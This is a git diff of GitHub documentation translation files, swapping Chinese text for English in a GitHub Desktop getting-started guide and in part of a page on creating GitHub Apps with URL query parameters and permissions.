variables.product.prodname_desktop %} by creating a new repository, this guide will walk you through using {% data variables.product.prodname_desktop %} to work on a Git repository. -我们建议完成本教程，但如果您想要通过创建新仓库来探索 {% data variables.product.prodname_desktop %}，本指南将引导您使用 {% data variables.product.prodname_desktop %} 来操作 Git 仓库。 +## Part 1: Installing {% data variables.product.prodname_desktop %} and authenticating your account +You can install {% data variables.product.prodname_desktop %} on any supported operating system. After you install the app, you will need to sign in and authenticate your account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} before you can create and clone a tutorial repository. -## 第 1 部分：安装 {% data variables.product.prodname_desktop %} 和验证您的帐户 -您可以在任何支持的操作系统上安装 {% data variables.product.prodname_desktop %}。 安装应用后，您需要在 {% data variables.product.prodname_dotcom %} 或 {% data variables.product.prodname_enterprise %} 上登录并验证您的帐户，然后才可创建和克隆教程仓库。 +For more information on installing and authenticating, see "[Setting up {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-up-github-desktop)." -有关安装和身份验证的更多信息，请参阅“[设置 {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-up-github-desktop)”。 +## Part 2: Creating a new repository +If you do not have any repositories associated with {% data variables.product.prodname_desktop %}, you will see a "Let's get started!" view, where you can choose to create and clone a tutorial repository, clone an existing repository from the Internet, create a new repository, or add an existing repository from your hard drive. + ![The Let's get started! screen](/assets/images/help/desktop/lets-get-started.png) -## 第 2 部分：创建新仓库 -如果没有与 {% data variables.product.prodname_desktop %} 关联的任何仓库，则会看到“让我们开始吧！”视图，您可以在其中选择创建和克隆教程仓库、从 Internet 克隆现有仓库、创建新仓库或从硬盘添加现有仓库。 ![让我们开始吧 ！ screen](/assets/images/help/desktop/lets-get-started.png) +### Creating and cloning a tutorial repository +We recommend that you create and clone a tutorial repository as your first project to practice using {% data variables.product.prodname_desktop %}. -### 创建和克隆教程仓库 -我们建议您创建并克隆教程仓库作为第一个项目以练习使用 {% data variables.product.prodname_desktop %}。 +1. Click **Create a tutorial repository and clone it**. + ![Create and clone a tutorial repository button](/assets/images/help/desktop/getting-started-guide/create-and-clone-a-tutorial-repository.png) +2. Follow the prompts in the tutorial to install a text editor, create a branch, edit a file, make a commit, publish to {% data variables.product.prodname_dotcom %}, and open a pull request. -1. 单击 **Create a tutorial repository and clone it（创建教程仓库并克隆它）**。 ![“创建和克隆教程仓库”按钮](/assets/images/help/desktop/getting-started-guide/create-and-clone-a-tutorial-repository.png) -2. 按照教程中的提示安装文本编辑器、创建分支、 编辑文件、进行提交、发布到 {% data variables.product.prodname_dotcom %} 以及打开拉取请求。 +### Creating a new repository +If you do not wish to create and clone a tutorial repository, you can create a new repository. -### 创建新仓库 -如果你不想创建并克隆教程仓库，可以创建一个新的仓库。 +1. Click **Create a New Repository on your Hard Drive...**. + ![Create a new repository](/assets/images/help/desktop/getting-started-guide/creating-a-repository.png) +2. Fill in the fields and select your preferred options. + ![Create a repository options](/assets/images/help/desktop/getting-started-guide/create-a-new-repository-options.png) + - "Name" defines the name of your repository both locally and on {% data variables.product.product_name %}. + - "Description" is an optional field that you can use to provide more information about the purpose of your repository. + - "Local path" sets the location of your repository on your computer. By default, {% data variables.product.prodname_desktop %} creates a _GitHub_ folder inside your _Documents_ folder to store your repositories, but you can choose any location on your computer. Your new repository will be a folder inside the chosen location. For example, if you name your repository `Tutorial`, a folder named _Tutorial_ is created inside the folder you selected for your local path. {% data variables.product.prodname_desktop %} remembers your chosen location the next time you create or clone a new repository. + - **Initialize this repository with a README** creates an initial commit with a _README.md_ file. READMEs helps people understand the purpose of your project, so we recommend selecting this and filling it out with helpful information. When someone visits your repository on {% data variables.product.product_name %}, the README is the first thing they'll see as they learn about your project. For more information, see "[About READMEs](/articles/about-readmes)." + - The **Git ignore** drop-down menu lets you add a custom file to ignore specific files in your local repository that you don't want to store in version control. If there's a specific language or framework that you'll be using, you can select an option from the available list. If you're just getting started, feel free to skip this selection. For more information, see "[Ignoring files](/github/getting-started-with-github/ignoring-files)." + - The **License** drop-down menu lets you add an open-source license to a _LICENSE_ file in your repository. You don't need to worry about adding a license right away. For more information about available open-source licenses and how to add them to your repository, see "[Licensing a repository](/articles/licensing-a-repository)." +3. Click **Create repository**. -1. 单击 **Create a New Repository on your Hard Drive...（在硬盘上创建新仓库...）**。 ![创建新仓库](/assets/images/help/desktop/getting-started-guide/creating-a-repository.png) -2. 填写字段并选择您的首选项。 ![创建仓库选项](/assets/images/help/desktop/getting-started-guide/create-a-new-repository-options.png) - - “Name（名称）”定义仓库在本地以及 {% data variables.product.product_name %} 上的名称。 - - “Description（说明）”是一个可选字段，可用于提供有关仓库目的的更多信息。 - - “Local path（本地路径）”设置仓库在计算机上的位置。 默认情况下，{% data variables.product.prodname_desktop %} 会在 _Documents_ 文件夹内创建 _GitHub_ 文件夹，用于存储仓库，但您也可以选择计算机上的任何位置。 您的新仓库将是所选位置内的文件夹。 例如，如果将仓库命名为 `Tutorial`，则会在为本地路径选择的文件夹内创建一个名为 _Tutorial_ 的文件夹。 下次创建或克隆新仓库时，{% data variables.product.prodname_desktop %} 会记住您选择的位置。 - - **Initialize this repository with a README（使用自述文件初始化此仓库）**创建包含 _README.md_ 文件的初始提交。 自述文件帮助人们了解项目的目的，因此建议选择此选项并加入有用的信息。 当有人访问您在 {% data variables.product.product_name %} 上的仓库时，自述文件是他们了解您的项目时看到的第一项内容。 更多信息请参阅“[关于自述文件](/articles/about-readmes)”。 - - **Git ignore（Git 忽略）**下拉菜单可让您添加自定义文件，以忽略本地仓库中您不想存储在版本控制中的特定文件。 如有您要使用的特定语言或框架，您可以从可用的列表中选择选项。 如果刚刚开始，尽请跳过此选择。 更多信息请参阅“[忽略文件](/github/getting-started-with-github/ignoring-files)”。 - - **License（许可证）**下拉菜单可让您将开源许可证添加到仓库中的 _LICENSE_ 文件。 您无需担心要立即添加许可证。 有关可用开源许可证以及如何将它们添加到仓库的更多信息，请参阅“[许可仓库](/articles/licensing-a-repository)”。 -3. 单击 **Create repository（创建仓库）**。 +## Part 3: Exploring {% data variables.product.prodname_desktop %} +In the file menu at the top of the screen, you can access settings and actions that you can perform in {% data variables.product.prodname_desktop %}. Most actions also have keyboard shortcuts to help you work more efficiently. For a full list of keyboard shortcuts, see "[Keyboard shortcuts](/desktop/getting-started-with-github-desktop/keyboard-shortcuts)." -## 第 3 部分：探索 {% data variables.product.prodname_desktop %} -在屏幕顶部的文件菜单中，您可以访问在 {% data variables.product.prodname_desktop %} 中可以执行的设置和操作。 大多数操作也有快捷键来帮助您提高工作效率。 有关键盘快捷键的完整列表，请参阅“[键盘快捷键](/desktop/getting-started-with-github-desktop/keyboard-shortcuts)”。 +### The {% data variables.product.prodname_desktop %} menu bar +At the top of the {% data variables.product.prodname_desktop %} app, you will see a bar that shows the current state of your repository. + - **Current repository** shows the name of the repository you're working on. You can click **Current repository** to switch to a different repository in {% data variables.product.prodname_desktop %}. + - **Current branch** shows the name of the branch you're working on. You can click **Current branch** to view all the branches in your repository, switch to a different branch, or create a new branch. Once you create pull requests in your repository, you can also view these by clicking on **Current branch**. + - **Publish repository** appears because you haven't published your repository to {% data variables.product.product_name %} yet, which you'll do later in the next step. This section of the bar will change based on the status of your current branch and repository. Different context dependent actions will be available that let you exchange data between your local and remote repositories. -### {% data variables.product.prodname_desktop %} 菜单栏 -在 {% data variables.product.prodname_desktop %} 应用程序的顶部，您将看到一个显示仓库当前状态的栏。 - - **Current repository（当前仓库）**显示您处理的仓库的名称。 您可以单击 **Current repository（当前仓库）**切换到 {% data variables.product.prodname_desktop %} 中的不同仓库。 - - **Current branch（当前分支）**显示您处理的分支的名称。 您可以单击 **Current branch（当前分支）**来查看仓库中的所有分支、切换到不同的分支或者创建新分支。 在仓库中创建拉取请求后，也可单击 **Current branch（当前分支）**查看它们。 - - **Publish repository（发布仓库）**会出现，因为您尚未将仓库发布到 {% data variables.product.product_name %}，下一个步骤才发布。 工具栏的这部分将根据您当前分支和仓库的状态而改变。 不同的上下文相关操作将可以使用，允许您在本地仓库与远程仓库之间交换数据。 + ![Explore GitHub Desktop](/assets/images/help/desktop/getting-started-guide/explore-github-desktop.png) - ![探索 GitHub Desktop](/assets/images/help/desktop/getting-started-guide/explore-github-desktop.png) +### Changes and History +In the left sidebar, you'll find the **Changes** and **History** views. + ![The Changes and History tabs](/assets/images/help/desktop/changes-and-history.png) -### 更改历史记录 -在左侧边栏中，您会看到 **Changes（更改）**和 **History（历史记录）**视图。 ![Changes（更改）和 History（历史记录）选项卡](/assets/images/help/desktop/changes-and-history.png) + - The **Changes** view shows changes you've made to files in your current branch but haven't committed to your local repository. At the bottom, there is a box with "Summary" and "Description" text boxes and a **Commit to BRANCH** button. This is where you'll commit new changes. The **Commit to BRANCH** button is dynamic and will display which branch you're committing your changes to. + ![Commit area](/assets/images/help/desktop/getting-started-guide/commit-area.png) - - **Changes（更改）**视图显示您对当前分支中的文件已经做出但尚未提交到本地仓库的更改。 在底部有“Summary（摘要）”和“Description（说明）”文本框，以及 **Commit to BRANCH（提交到 [分支]）**按钮。 这是提交新更改的位置。 **Commit to BRANCH（提交到 [分支]）**按钮是动态的，将显示您提交更改到哪个分支。 ![提交区域](/assets/images/help/desktop/getting-started-guide/commit-area.png) + - The **History** view shows the previous commits on the current branch of your repository. You should see an "Initial commit" that was created by {% data variables.product.prodname_desktop %} when you created your repository. To the right of the commit, depending on the options you selected while creating your repository, you may see _.gitattributes_, _.gitignore_, _LICENSE_, or _README_ files. You can click each file to see a diff for that file, which is the changes made to the file in that commit. The diff only shows the parts of the file that have changed, not the entire contents of the file. + ![History view](/assets/images/help/desktop/getting-started-guide/history-view.png) - - **History（历史记录）**视图显示仓库当前分支上以前的提交。 您应会看到在创建仓库时 {% data variables.product.prodname_desktop %} 所创建的“初始提交”。 在提交的右侧，根据您在创建仓库时选择的选项，可能会看到 _.gitattributes_、_.gitignore_、_LICENSE_ 或 _README_ 文件。 您可以单击每个文件以查看该文件的差异，也就是提交中对该文件的更改。 差异只显示文件已更改的部分，而不显示文件的全部内容。 ![历史记录视图](/assets/images/help/desktop/getting-started-guide/history-view.png) +## Part 4: Publishing your repository to {% data variables.product.product_name %} +When you create a new repository, it only exists on your computer and you are the only one who can access the repository. You can publish your repository to {% data variables.product.product_name %} to keep it synchronized across multiple computers and allow other people to access it. To publish your repository, push your local changes to {% data variables.product.product_name %}. -## 第 4 部分：将仓库推送到 {% data variables.product.product_name %} -创建新仓库时，它仅存在于您的计算机上，您是唯一可以访问该仓库的人。 您可以将仓库发布到 {% data variables.product.product_name %} 以在多台计算机上保持同步，并允许其他人访问它。 要发布仓库，请将本地更改推送到 {% data variables.product.product_name %}。 +1. Click **Publish repository** in the menu bar. + ![Publish repository](/assets/images/help/desktop/getting-started-guide/publish-repository.png) + - {% data variables.product.prodname_desktop %} automatically fills the "Name" and "Description" fields with the information you entered when you created the repository. + - **Keep this code private** lets you control who can view your project. If you leave this option unselected, other users on {% data variables.product.product_name %} will be able to view your code. If you select this option, your code will not be publicly available. + - The **Organization** drop-down menu, if present, lets you publish your repository to a specific organization that you belong to on {% data variables.product.product_name %}. -1. 单击菜单栏中的 **Publish repository（发布仓库）**。 ![发布仓库](/assets/images/help/desktop/getting-started-guide/publish-repository.png) - - {% data variables.product.prodname_desktop %} 自动使用创建仓库时输入的信息填充“Name（名称）”和“Description（说明）”字段。 - - **Keep this code private（保持此代码为私有）**可让您控制谁可以查看您的项目。 如果您不选中此选项，{% data variables.product.product_name %} 上的其他用户将能够查看您的代码。 如果选中此选项，您的代码将不会公开。 - - **Organization（组织）**下拉菜单（如果有）可让您将仓库发布到 {% data variables.product.product_name %} 上您所属的特定组织。 + ![Publish repository steps](/assets/images/help/desktop/getting-started-guide/publish-repository-steps.png) + 2. Click the **Publish Repository** button. + 3. You can access the repository on {% data variables.product.prodname_dotcom_the_website %} from within {% data variables.product.prodname_desktop %}. In the file menu, click **Repository**, then click **View on GitHub**. This will take you directly to the repository in your default browser. - ![发布仓库步骤](/assets/images/help/desktop/getting-started-guide/publish-repository-steps.png) - 2. 单击 **Publish Repository（发布仓库）**按钮。 - 3. 您可以从 {% data variables.product.prodname_desktop %} 访问 {% data variables.product.prodname_dotcom_the_website %} 上的仓库。 在文件菜单中，单击 **Repository（仓库）**，然后单击 **View on GitHub（在 GitHub 上查看）**。 这会直接在默认浏览器中打开仓库。 +## Part 5: Making, committing, and pushing changes +Now that you've created and published your repository, you're ready to make changes to your project and start crafting your first commit to your repository. -## 第 5 部分：进行更改、提交更改和推送更改 -现在，您已经创建并发布仓库，已经准备好对项目进行更改，并开始创建第一个对仓库的提交。 +1. To launch your external editor from within {% data variables.product.prodname_desktop %}, click **Repository**, then click **Open in EDITOR**. For more information, see "[Configuring a default editor](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)." + ![Open in editor](/assets/images/help/desktop/getting-started-guide/open-in-editor.png) -1. 要从 {% data variables.product.prodname_desktop %} 启动外部编辑器，请单击 **Repository（仓库）**，然后单击 **Open in EDITOR（在 [编辑器] 中打开）**。 更多信息请参阅“[配置默认编辑器](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)。 ![在编辑器中打开](/assets/images/help/desktop/getting-started-guide/open-in-editor.png) +2. Make some changes to the _README.md_ file that you previously created. You can add information that describes your project, like what it does and why it is useful. When you are satisfied with your changes, save them in your text editor. +3. In {% data variables.product.prodname_desktop %}, navigate to the **Changes** view. In the file list, you should see your _README.md_. The checkmark to the left of the _README.md_ file indicates that the changes you've made to the file will be part of the commit you make. In the future, you might make changes to multiple files but only want to commit the changes you've made to some of the files. If you click the checkmark next to a file, that file will not be included in the commit. + ![Viewing changes](/assets/images/help/desktop/getting-started-guide/viewing-changes.png) -2. 对以前创建的 _README.md_ 文件做一些更改。 您可以添加描述项目的信息，比如它做什么，以及为什么有用。 当您对更改满意时，请将它们保存在文本编辑器中。 -3. 在 {% data variables.product.prodname_desktop %} 中，导航到 **Changes（更改）**视图。 在文件列表中，您应该会看到 _README.md_。 _README.md_ 文件左边的勾选标记表示您对文件的更改将成为提交的一部分。 以后您可能会更改多个文件，但只想提交对其中部分文件所做的更改。 如果单击文件旁边的复选标记，则该文件不会包含在提交中。 ![查看更改](/assets/images/help/desktop/getting-started-guide/viewing-changes.png) +4. At the bottom of the **Changes** list, enter a commit message. To the right of your profile picture, type a short description of the commit. Since we're changing the _README.md_ file, "Add information about purpose of project" would be a good commit summary. Below the summary, you'll see a "Description" text field where you can type a longer description of the changes in the commit, which is helpful when looking back at the history of a project and understanding why changes were made. Since you're making a basic update of a _README.md_ file, you can skip the description. + ![Commit message](/assets/images/help/desktop/getting-started-guide/commit-message.png) +5. Click **Commit to BRANCH NAME**. The commit button shows your current branch so you can be sure to commit to the branch you want. + ![Commit to branch](/assets/images/help/desktop/getting-started-guide/click-commit-to-master.png) +6. To push your changes to the remote repository on {% data variables.product.product_name %}, click **Push origin**. + ![Push origin](/assets/images/help/desktop/getting-started-guide/push-to-origin.png) + - The **Push origin** button is the same one that you clicked to publish your repository to {% data variables.product.product_name %}. This button changes contextually based on where you are at in the Git workflow. It should now say `Push origin` with a `1` next to it, indicating that there is one commit that has not been pushed up to {% data variables.product.product_name %}. + - The "origin" in **Push origin** means that you are pushing changes to the remote called `origin`, which in this case is your project's repository on {% data variables.product.prodname_dotcom_the_website %}. Until you push any new commits to {% data variables.product.product_name %}, there will be differences between your project's repository on your computer and your project's repository on {% data variables.product.prodname_dotcom_the_website %}. This allows you to work locally and only push your changes to {% data variables.product.prodname_dotcom_the_website %} when you're ready. +7. In the window to the right of the **Changes** view, you'll see suggestions for actions you can do next. To open the repository on {% data variables.product.product_name %} in your browser, click **View on {% data variables.product.product_name %}**. + ![Available actions](/assets/images/help/desktop/available-actions.png) +8. In your browser, click **2 commits**. You'll see a list of the commits in this repository on {% data variables.product.product_name %}. The first commit should be the commit you just made in {% data variables.product.prodname_desktop %}. + ![Click two commits](/assets/images/help/desktop/getting-started-guide/click-two-commits.png) -4. 在 **Changes（更改）**列表底部，输入提交消息。 在头像右侧，键入提交的简短描述。 由于我们在更改 _README.md_ 文件，因此“添加关于项目目的的信息”将是比较好的提交摘要。 在摘要下方，您会看到“Description（说明）”文本字段，在其中可以键入较长的提交更改描述，这有助于回顾项目的历史记录和了解更改的原因。 由于您是对 _README.md_ 文件做基本的更新，因此可跳过描述。 ![提交消息](/assets/images/help/desktop/getting-started-guide/commit-message.png) -5. 单击 **Commit to BRANCH NAME（提交到 [分支名称]）**。 提交按钮显示当前分支，因此您可以确保提交到所需的分支。 ![提交到分支](/assets/images/help/desktop/getting-started-guide/click-commit-to-master.png) -6. 要将更改推送到 {% data variables.product.product_name %} 上的远程仓库，请单击 **Push origin（推送源）**。 ![推送源](/assets/images/help/desktop/getting-started-guide/push-to-origin.png) - - **Push origin（推送源）**按钮就是您单击以发布仓库到 {% data variables.product.product_name %} 的按钮。 此按钮根据 Git 工作流程中的上下文而变。 现在改为 `Push origin（推送源）`了，其旁边的 `1` 表示有一个提交尚未推送到 {% data variables.product.product_name %}。 - - **Push origin（推送源）**中的“源”表示我们将更改推送到名为 `origin` 的远程，在本例中是 {% data variables.product.prodname_dotcom_the_website %} 上的项目仓库。 在推送任何新提交到 {% data variables.product.product_name %} 之前，您的计算机上的项目仓库与 {% data variables.product.prodname_dotcom_the_website %} 上的项目仓库之间存在差异。 这可让您在本地工作，并且仅在准备好后才将更改推送到 {% data variables.product.prodname_dotcom_the_website %}。 -7. 在 **Changes（更改）**视图右边的窗口中，您会看到接下来可以执行的操作提示。 要在浏览器中打开 {% data variables.product.product_name %} 上的仓库，请单击 **View on {% data variables.product.product_name %}（在 GitHub 中查看）**。 ![可用操作](/assets/images/help/desktop/available-actions.png) -8. 在浏览器中，单击 **2 commits（2 次提交）**。 您会看到 {% data variables.product.product_name %} 上此仓库中的提交列表。 第一个提交应是您刚才在 {% data variables.product.prodname_desktop %} 中的提交。 ![单击两个提交](/assets/images/help/desktop/getting-started-guide/click-two-commits.png) +## Conclusion +You've now created a repository, published the repository to {% data variables.product.product_name %}, made a commit, and pushed your changes to {% data variables.product.product_name %}. You can follow this same workflow when contributing to other projects that you create or collaborate on. -## 结论 -您现已创建一个仓库，并且已将仓库发布到 {% data variables.product.product_name %}，进行了提交，并且已将更改推送到 {% data variables.product.product_name %}。 在参与创建或协作的其他项目时，可以遵循这个相同的工作流程。 - -## 延伸阅读 -- "[开始使用 Git](/github/getting-started-with-github/getting-started-with-git)" -- "[了解 {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github)" -- "[开始使用 {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)" +## Further reading +- "[Getting started with Git](/github/getting-started-with-github/getting-started-with-git)" +- "[Learning about {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github)" +- "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)" diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md index cc1e32f89c..5d3b70e9d9 100644 --- a/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md +++ b/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md @@ -1,6 +1,6 @@ --- -title: 使用 URL 参数创建 GitHub 应用程序 -intro: '您可以使用 URL [查询参数](https://en.wikipedia.org/wiki/Query_string) 预选新 {% data variables.product.prodname_github_app %} 的设置，以快速设置新 {% data variables.product.prodname_github_app %} 的配置。' +title: Creating a GitHub App using URL parameters +intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.' redirect_from: - /apps/building-github-apps/creating-github-apps-using-url-parameters - /developers/apps/creating-a-github-app-using-url-parameters @@ -11,23 +11,22 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: 应用程序创建查询参数 +shortTitle: App creation query parameters --- +## About {% data variables.product.prodname_github_app %} URL parameters -## 关于 {% data variables.product.prodname_github_app %} URL 参数 +You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account: -您可以将查询参数添加到这些 URL 中，以便在个人或组织帐户上预选 {% data variables.product.prodname_github_app %} 的配置： +* **User account:** `{% data variables.product.oauth_host_code %}/settings/apps/new` +* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new` -* **用户帐户：** `{% data variables.product.oauth_host_code %}/settings/apps/new` -* **组织帐户：** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new` - -创建应用程序的人在提交应用程序之前，可以从 {% data variables.product.prodname_github_app %} 注册页面编辑预选值。 如果您没有在 URL 查询字符串中包含必需的参数，例如 `name`，则创建应用程序的人在提交该应用程序之前需要输入值。 +The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app. {% ifversion ghes > 3.1 or fpt or ghae-next or ghec %} -对于需要密钥来保护其 web 挂钩的应用，该密钥的价值必须由应用创建者以该形式设置，而不是通过使用查询参数。 更多信息请参阅“[保护 web 挂钩](/developers/webhooks-and-events/webhooks/securing-your-webhooks)”。 +For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)." {% endif %} -以下 URL 使用预配置的说明和回调 URL 创建名为 `octocat-github-app` 的新公共应用程序。 此 URL 还选择了 `checks` 的读取和写入权限，订阅了 `check_run` 和 `check_suite` web 挂钩事件，并选择了在安装过程中请求用户授权 (OAuth) 的选项： +The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation: {% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} @@ -43,101 +42,102 @@ shortTitle: 应用程序创建查询参数 {% endif %} -下面几节列出了可用查询参数、权限和事件的完整列表。 +The complete list of available query parameters, permissions, and events is listed in the sections below. -## {% data variables.product.prodname_github_app %} 配置参数 +## {% data variables.product.prodname_github_app %} configuration parameters - | 名称 | 类型 | 描述 | - | -------------------------------------------------- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - | `name` | `字符串` | {% data variables.product.prodname_github_app %} 的名称。 给应用程序一个清晰简洁的名称。 应用程序不能与现有 GitHub 用户同名，除非它是您自己的用户或组织的名称。 当您的集成执行操作时，应用程序名称的缓存版本将显示在用户界面上。 | - | `说明` | `字符串` | {% data variables.product.prodname_github_app %} 的说明。 | - | `url` | `字符串` | {% data variables.product.prodname_github_app %} 网站主页的完整 URL。{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} - | `callback_urls` | `字符串数组` | 在用户授权安装后重定向到的完整 URL。 您可以提供最多 10 个回叫 URL。 如果应用程序需要识别和授权用户到服务器的请求，则使用这些 URL。 例如 `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`。{% else %} - | `callback_url` | `字符串` | 在用户授权安装后重定向到的完整 URL。 如果应用程序需要识别和授权用户到服务器的请求，则使用此 URL。{% endif %} - | `request_oauth_on_install` | `布尔值` | 如果应用程序授权用户使用 OAuth 流程，您可以将此选项设置为 `true`，以允许用户在安装应用程序时授权它，从而省去一个步骤。 如果您选择此选项，则 `setup_url` 将不可用，用户在安装应用程序后将被重定向到您的 `callback_url`。 | - | `setup_url` | `字符串` | 在用户安装 {% data variables.product.prodname_github_app %} 后重定向到的完整 URL（如果应用程序在安装之后需要额外设置）。 | - | `setup_on_update` | `布尔值` | 设置为 `true` 可在更新安装后（例如在添加或删除仓库之后）将用户重定向到设置 URL。 | - | `public` | `布尔值` | 当 {% data variables.product.prodname_github_app %} 可供公众使用时，设置为 `true` ；当它仅供应用程序的所有者访问时，设置为 `false`。 | - | `webhook_url` | `字符串` | 要向其发送 web 挂钩事件有效负载的完整 URL。 | - | {% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `字符串` | 您可以指定一个密钥来保护 web 挂钩。 更多信息请参阅“[保护 web 挂钩](/webhooks/securing/)”。 | - | {% endif %}`events` | `字符串数组` | Web 挂钩事件. 某些 web 挂钩事件需要您对资源有 `read` 或 `write` 权限，才能在注册新 {% data variables.product.prodname_github_app %} 时选择事件。 有关可用事件及其所需权限，请参阅“[{% data variables.product.prodname_github_app %} web 挂钩事件](#github-app-webhook-events)”一节。 您可以在查询字符串中选择多个事件。 例如，`events[]=public&events[]=label`。 | - | `域` | `字符串` | 内容引用的 URL。 | - | `single_file_name` | `字符串` | 这是一种范围狭窄的权限，允许应用程序访问任何仓库中的单个文件。 当您将 `single_file` 权限设置为 `read` 或 `write` 时，此字段提供 {% data variables.product.prodname_github_app %} 将要管理的单个文件的路径。 {% ifversion fpt or ghes or ghec %} 如果您需要管理多个文件，请参阅下面的 `single_file_paths`。 {% endif %}{% ifversion fpt or ghes or ghec %} - | `single_file_paths` | `字符串数组` | 这允许应用程序访问仓库中的最多 10 个指定文件。 当您将 `single_file` 权限设置为 `read` 或 `write` 时，此数组可存储 {% data variables.product.prodname_github_app %} 将要管理的最多 10 个文件的路径。 这些文件都接收由 `single_file` 设置的相同权限，没有单独的权限。 配置了两个或更多文件时，API 将返回 `multiple_single_files=true`，否则它将返回 `multiple_single_files=false`。{% endif %} + Name | Type | Description +-----|------|------------- +`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action. +`description` | `string` | A description of the {% data variables.product.prodname_github_app %}. +`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} +`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %} +`callback_url` | `string` | The full URL to redirect to after someone authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.{% endif %} +`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app. +`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation. +`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed. +`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app. +`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default. +`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to. +{% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details. +{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`. +`domain` | `string` | The URL of a content reference. +`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %} +`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %} -## {% data variables.product.prodname_github_app %} 权限 +## {% data variables.product.prodname_github_app %} permissions -您可以在查询字符串中选择权限：使用下表中的权限名称作为查询参数名称，使用权限类型作为查询值。 例如，要在用户界面中为 `contents` 选择 `Read & write` 权限，您的查询字符串将包括 `&contents=write`。 要在用户界面中为 `blocking` 选择 `Read-only` 权限，您的查询字符串将包括 `&blocking=read`。 要在用户界面中为 `checks` 选择 `no-access` ，您的查询字符串将包括 `checks` 权限。 +You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission. -| 权限 | 描述 | -| -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| [`管理`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | 对用于组织和仓库管理的各种端点授予访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion fpt or ghec %} -| [`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | 授予对[阻止用户 API](/rest/reference/users#blocking) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %} -| [`检查`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | 授予对[检查 API](/rest/reference/checks) 的访问权限。 可以是以下项之一：`none`、`read` 